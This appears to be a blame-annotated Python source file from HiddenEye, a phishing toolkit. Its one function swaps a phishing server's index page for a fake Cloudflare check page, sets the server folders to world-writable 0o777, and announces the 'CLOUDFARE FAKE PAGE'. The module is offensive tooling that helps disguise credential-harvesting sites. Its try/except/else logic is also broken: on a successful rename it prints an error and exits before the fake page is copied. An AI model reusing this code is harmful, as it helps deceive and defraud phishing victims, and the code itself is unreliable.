2020-05-11 17:12:06 +08:00
|
|
|
#
|
|
|
|
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
|
|
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
|
|
# This is free software, and you are welcome to redistribute it
|
|
|
|
# under certain conditions; you can read LICENSE for details.
|
|
|
|
#
|
|
|
|
|
|
|
|
|
2020-08-13 18:29:52 +08:00
|
|
|
from Defs.ImportManager.unsorted_will_be_replaced import (
|
|
|
|
wait,
|
|
|
|
run_command,
|
|
|
|
pathlib_Path,
|
|
|
|
replace,
|
|
|
|
copyfile,
|
|
|
|
chmod,
|
|
|
|
)
|
2020-05-06 23:00:28 +08:00
|
|
|
import Defs.ThemeManager.theme as theme
|
|
|
|
|
|
|
|
default_palette = theme.default_palette
|
|
|
|
|
|
|
|
|
|
|
|
def add_cloudfare():
|
2020-08-05 16:06:24 +08:00
|
|
|
# run_command('mv Server/www/index.* Server/www/home.php &
|
2020-05-08 23:19:55 +08:00
|
|
|
# & cp WebPages/cloudfare.html Server/www/index.html')
|
2020-08-13 18:29:52 +08:00
|
|
|
chmod("Server", 0o777)
|
|
|
|
chmod("Server/www", 0o777)
|
2020-05-08 23:19:55 +08:00
|
|
|
try:
|
2020-08-13 18:29:52 +08:00
|
|
|
replace("Server/www/index.php", "Server/www/home.php")
|
2020-05-08 23:19:55 +08:00
|
|
|
except:
|
2020-08-13 18:29:52 +08:00
|
|
|
replace("Server/www/index.html", "Server/www/home.php")
|
2020-05-08 23:19:55 +08:00
|
|
|
else:
|
2020-08-13 18:29:52 +08:00
|
|
|
print("Unable to find index file, skipping...")
|
2020-05-08 23:19:55 +08:00
|
|
|
return
|
2020-08-13 18:29:52 +08:00
|
|
|
copyfile("WebPages/cloudflare.html", "Server/www/index.html")
|
|
|
|
print(
|
|
|
|
"\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
|
|
|
|
default_palette[0], default_palette[4]
|
|
|
|
)
|
|
|
|
)
|
2020-05-06 23:00:28 +08:00
|
|
|
wait(1)
|